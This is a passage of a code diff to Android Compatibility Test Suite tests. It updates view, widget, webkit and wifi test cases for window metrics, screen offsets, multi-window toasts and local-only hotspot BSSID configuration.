+ offset[0], offset[1],
+ offset[0] + redValues.view.getWidth(), offset[1] + redValues.view.getHeight());
}
});
long redDelay = getDelay(R.id.redSquare);
- // red square's delay should be roughly 0 since it is at the epicenter
- assertEquals(0f, redDelay, 30f);
+ // red square's delay should be 0 since it is at the epicenter
+ assertEquals(0, redDelay);
// The green square is on the upper-right
long greenDelay = getDelay(R.id.greenSquare);
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 4e2726c..1dea684 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -46,11 +46,7 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_below="@id/layout">
- <android.view.cts.TestButton
- android:id="@+id/bottom_button"
- android:layout_width="60dp"
- android:layout_height="match_parent"
- android:text="B" />
+
</LinearLayout>
</RelativeLayout>
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
index 300d3a5..ae0b4bf 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
@@ -25,8 +25,6 @@
public ViewGroup layout;
- public ViewGroup inflateLayout;
-
public Button topLeftButton;
public Button topRightButton;
@@ -35,19 +33,15 @@
public Button bottomRightButton;
- public Button bottomButton;
-
@Override
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
setContentView(R.layout.focus_finder_layout);
layout = (ViewGroup) findViewById(R.id.layout);
- inflateLayout = (ViewGroup) findViewById(R.id.inflate_layout);
topLeftButton = (Button) findViewById(R.id.top_left_button);
topRightButton = (Button) findViewById(R.id.top_right_button);
bottomLeftButton = (Button) findViewById(R.id.bottom_left_button);
bottomRightButton = (Button) findViewById(R.id.bottom_right_button);
- bottomButton = (Button) findViewById(R.id.bottom_button);
}
}
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 53992ce..11e921a 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -18,7 +18,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
@@ -45,12 +44,10 @@
public class FocusFinderTest {
private FocusFinder mFocusFinder;
private ViewGroup mLayout;
- private ViewGroup mInflateLayout;
private Button mTopLeft;
private Button mTopRight;
private Button mBottomLeft;
private Button mBottomRight;
- private Button mBottom;
@Rule
public ActivityTestRule<FocusFinderCtsActivity> mActivityRule =
@@ -62,17 +59,14 @@
mFocusFinder = FocusFinder.getInstance();
mLayout = activity.layout;
- mInflateLayout = activity.inflateLayout;
mTopLeft = activity.topLeftButton;
mTopRight = activity.topRightButton;
mBottomLeft = activity.bottomLeftButton;
mBottomRight = activity.bottomRightButton;
- mBottom = activity.bottomButton;
mTopLeft.setNextFocusLeftId(View.NO_ID);
mTopRight.setNextFocusLeftId(View.NO_ID);
mBottomLeft.setNextFocusLeftId(View.NO_ID);
mBottomRight.setNextFocusLeftId(View.NO_ID);
- mBottom.setNextFocusLeftId(View.NO_ID);
}
@Test
@@ -462,17 +456,4 @@
view.setRight(right);
view.setBottom(bottom);
}
-
- @Test
- public void testFindNextFocusDoesNotReturnItself() {
- View nextFocus = mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_FORWARD);
- assertNull(nextFocus);
- }
-
- @Test
- public void testFindPreviousFocusDoesNotReturnItself() {
- View previousFocus =
- mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_BACKWARD);
- assertNull(previousFocus);
- }
}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index d0ce0f0..3f9f563 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -50,6 +50,7 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.ColorFilter;
+import android.graphics.Insets;
import android.graphics.Matrix;
import android.graphics.Point;
import android.graphics.PorterDuff;
@@ -58,7 +59,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.StateListDrawable;
-import android.hardware.display.DisplayManager;
import android.os.Bundle;
import android.os.Parcelable;
import android.os.SystemClock;
@@ -90,6 +90,9 @@
import android.view.ViewGroup;
import android.view.ViewParent;
import android.view.ViewTreeObserver;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
import android.view.accessibility.AccessibilityEvent;
import android.view.animation.AlphaAnimation;
import android.view.animation.Animation;
@@ -3834,14 +3837,18 @@
Rect outRect = new Rect();
View view = new View(mActivity);
// mAttachInfo is null
- DisplayManager dm = (DisplayManager) mActivity.getApplicationContext().getSystemService(
- Context.DISPLAY_SERVICE);
- Display d = dm.getDisplay(Display.DEFAULT_DISPLAY);
view.getWindowVisibleDisplayFrame(outRect);
+ final WindowManager windowManager = mActivity.getWindowManager();
+ final WindowMetrics metrics = windowManager.getMaximumWindowMetrics();
+ final Insets insets =
+ metrics.getWindowInsets().getInsets(
+ WindowInsets.Type.navigationBars() | WindowInsets.Type.displayCutout());
+ final int expectedWidth = metrics.getBounds().width() - insets.left - insets.right;
+ final int expectedHeight = metrics.getBounds().height() - insets.top - insets.bottom;
assertEquals(0, outRect.left);
assertEquals(0, outRect.top);
- assertEquals(d.getWidth(), outRect.right);
- assertEquals(d.getHeight(), outRect.bottom);
+ assertEquals(expectedWidth, outRect.right);
+ assertEquals(expectedHeight, outRect.bottom);
// mAttachInfo is not null
outRect = new Rect();
@@ -4882,7 +4889,7 @@
float[] newValues = new float[9];
newMatrix.getValues(newValues);
int[] location = new int[2];
- view.getLocationInWindow(location);
+ view.getLocationOnScreen(location);
boolean hasChanged = false;
for (int i = 0; i < 9; ++i) {
if (initialValues[i] != newValues[i]) {
@@ -4890,7 +4897,7 @@
}
}
assertTrue("Matrix should be changed", hasChanged);
- assertEquals("Matrix should reflect position in window",
+ assertEquals("Matrix should reflect position on screen",
location[1], newValues[5], 0.001);
}
diff --git a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
index 67d5de4..b0ec086 100644
--- a/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewUnbufferedTest.java
@@ -139,27 +139,33 @@
// If resampling happened, the coordinates and event time would resample to new position.
private static void compareEvent(final MotionEvent sentEvent,
- final ReceivedEvent receivedEvent) {
+ final ReceivedEvent receivedEvent, final int[] offsets) {
assertEquals(sentEvent.getAction(), receivedEvent.mAction);
- assertEquals((int) sentEvent.getX(), receivedEvent.mX, 0);
+ assertEquals((int) sentEvent.getX(), receivedEvent.mX + offsets[0]);
+ assertEquals((int) sentEvent.getY(), receivedEvent.mY + offsets[1]);
assertEquals(sentEvent.getEventTime(), receivedEvent.mEventTime);
assertEquals(sentEvent.getSource(), receivedEvent.mSource);
}
private void compareEvents(final BlockingQueue<MotionEvent> sentEvents,
- final BlockingQueue<ReceivedEvent> receivedEvents) {
+ final BlockingQueue<ReceivedEvent> receivedEvents, final int[] offsets) {
assertEquals(sentEvents.size(), receivedEvents.size());
for (int i = 0; i < sentEvents.size(); i++) {
MotionEvent sentEvent = sentEvents.poll();
ReceivedEvent receivedEvent = receivedEvents.poll();
- compareEvent(sentEvent, receivedEvent);
+ compareEvent(sentEvent, receivedEvent, offsets);
}
}
- private Point getViewCenterOnScreen(View view) {
+ private int[] getViewLocationOnScreen(View view) {
final int[] xy = new int[2];
view.getLocationOnScreen(xy);
+ return xy;
+ }
+
+ private Point getViewCenterOnScreen(View view) {
+ final int[] xy = getViewLocationOnScreen(view);
final int viewWidth = view.getWidth();
final int viewHeight = view.getHeight();
@@ -276,7 +282,7 @@
InputDevice.SOURCE_TOUCHSCREEN);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
}
// Test view requested touch screen unbuffered from MotionEvent.
@@ -295,7 +301,7 @@
InputDevice.SOURCE_TOUCHSCREEN);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
}
// Test view requested unbuffered source but reset it later.
@@ -330,7 +336,7 @@
sendJoystickEvents(0, 0);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, new int[]{0, 0});
}
// Test view requested joystick unbuffered but no focus.
@@ -362,7 +368,7 @@
InputDevice.SOURCE_TOUCHSCREEN);
assertTrue(mMaxReceivedCountPerFrame > 1);
- compareEvents(mSentEvents, mReceivedEvents);
+ compareEvents(mSentEvents, mReceivedEvents, getViewLocationOnScreen(mView));
}
// Test view requested different source unbuffered from the received events.
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 84cbd00..ab35c55 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -250,9 +250,16 @@
Display display = getWindow().getDecorView().getDisplay();
Point size = new Point();
DisplayMetrics metrics = new DisplayMetrics();
- display.getRealSize(size);
display.getMetrics(metrics);
+ final DisplayManager displayManager =
+ (DisplayManager) CapturedActivity.this.getSystemService(
+ Context.DISPLAY_SERVICE);
+ final Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+ final int rotation = defaultDisplay.getRotation();
+ Display.Mode mode = defaultDisplay.getMode();
+ size = new Point(mode.getPhysicalWidth(), mode.getPhysicalHeight());
+
View testAreaView = findViewById(android.R.id.content);
Rect boundsToCheck = new Rect(0, 0, testAreaView.getWidth(), testAreaView.getHeight());
int[] topLeft = new int[2];
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
index b426764..1eed020 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
@@ -328,6 +328,13 @@
ScaleChangedState state = waitForNextScaleChange();
assertEquals(currentScale, state.mOldScale);
+
+ // Zoom scale changes can come in multiple steps and the initial scale may have
+ // conversion errors. Wait for the first significant scale change.
+ while (Math.abs(state.mNewScale - state.mOldScale) < PAGE_SCALE_EPSILON) {
+ state = waitForNextScaleChange();
+ }
+
// Check that we zoomed in the expected direction wrt. the current scale.
if (scaleAmount > 1.0f) {
assertThat(
diff --git a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
index 8bd31e9..148e6a8 100644
--- a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
@@ -278,8 +278,9 @@
} else {
// On narrow screens, it's possible for the popup to reach the edge
// of the screen.
- int rightmostX =
- getDisplay().getWidth() - mPopupWindow.getWidth() + listViewInWindowXY[0];
+ final int displayWidth =
+ mActivity.getWindowManager().getMaximumWindowMetrics().getBounds().width();
+ final int rightmostX = displayWidth - mPopupWindow.getWidth() + listViewInWindowXY[0];
if (expectedListViewOnScreenX > rightmostX) {
expectedListViewOnScreenX = rightmostX;
}
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index ab81b26..fb1c7ba 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -736,7 +736,12 @@
mActivityRule.runOnUiThread(mToast::show);
- assertNotShowCustomToast(view);
+ // The custom toast should not be blocked in multi-window mode. Otherwise, it should be.
+ if (mActivityRule.getActivity().isInMultiWindowMode()) {
+ assertShowCustomToast(view);
+ } else {
+ assertNotShowCustomToast(view);
+ }
mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH));
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 0adf3b9..8502db1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -31,6 +31,7 @@
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiUsabilityStatsEntry;
+import android.os.Build;
import android.platform.test.annotations.AppModeFull;
import android.support.test.uiautomator.UiDevice;
import android.telephony.TelephonyManager;
@@ -40,6 +41,7 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
@@ -158,6 +160,10 @@
*/
@Test
public void testWifiUsabilityStatsEntry() throws Exception {
+ // Usability stats collection only supported by vendor version Q and above.
+ if (!PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)) {
+ return;
+ }
CountDownLatch countDownLatch = new CountDownLatch(1);
UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
TestUsabilityStatsListener usabilityStatsListener =
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index e9f1122..8627517 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -817,8 +817,9 @@
int securityType = softApConfig.getSecurityType();
if (securityType == SoftApConfiguration.SECURITY_TYPE_OPEN
|| securityType == SoftApConfiguration.SECURITY_TYPE_WPA2_PSK) {
- assertNotNull(softApConfig.toWifiConfiguration());
- } else {
+ // TODO: b/165504232, add WPA3_SAE_TRANSITION assert check
+ assertNotNull(softApConfig.toWifiConfiguration());
+ } else if (securityType == SoftApConfiguration.SECURITY_TYPE_WPA3_SAE) {
assertNull(softApConfig.toWifiConfiguration());
}
if (!hasAutomotiveFeature()) {
@@ -976,7 +977,7 @@
}
}
- public void testStartLocalOnlyHotspotWithConfig() throws Exception {
+ public void testStartLocalOnlyHotspotWithConfigBssid() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
return;
@@ -998,8 +999,58 @@
boolean wifiEnabled = mWifiManager.isWifiEnabled();
mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
- Log.d(TAG, "Sleeping for 2 seconds");
- Thread.sleep(2000);
+ // now wait for callback
+ Thread.sleep(TEST_WAIT_DURATION_MS);
+
+ // Verify callback is run on the supplied executor
+ assertFalse(callback.onStartedCalled);
+ executor.runAll();
+ if (callback.onFailedCalled) {
+ // TODO: b/160752000, customize bssid might not support.
+ // Allow the specific error code.
+ assertEquals(callback.failureReason,
+ WifiManager.SAP_START_FAILURE_UNSUPPORTED_CONFIGURATION);
+ } else {
+ assertTrue(callback.onStartedCalled);
+
+ assertNotNull(callback.reservation);
+ SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
+ assertNotNull(softApConfig);
+ assertEquals(TEST_MAC, softApConfig.getBssid());
+ assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
+ assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());
+
+ // clean up
+ stopLocalOnlyHotspot(callback, wifiEnabled);
+ }
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ public void testStartLocalOnlyHotspotWithNullBssidConfig() throws Exception {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ // check that softap mode is supported by the device
+ if (!mWifiManager.isPortableHotspotSupported()) {
+ return;
+ }
+ SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
+ .setSsid(TEST_SSID_UNQUOTED)
+ .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+ .build();
+ TestExecutor executor = new TestExecutor();
+ TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLock);
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+
+ boolean wifiEnabled = mWifiManager.isWifiEnabled();
+ mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
+ // now wait for callback
+ Thread.sleep(TEST_WAIT_DURATION_MS);
// Verify callback is run on the supplied executor
assertFalse(callback.onStartedCalled);
@@ -1009,7 +1060,6 @@
assertNotNull(callback.reservation);
SoftApConfiguration softApConfig = callback.reservation.getSoftApConfiguration();
assertNotNull(softApConfig);
- assertEquals(TEST_MAC, softApConfig.getBssid());
assertEquals(TEST_SSID_UNQUOTED, softApConfig.getSsid());
assertEquals(TEST_PASSPHRASE, softApConfig.getPassphrase());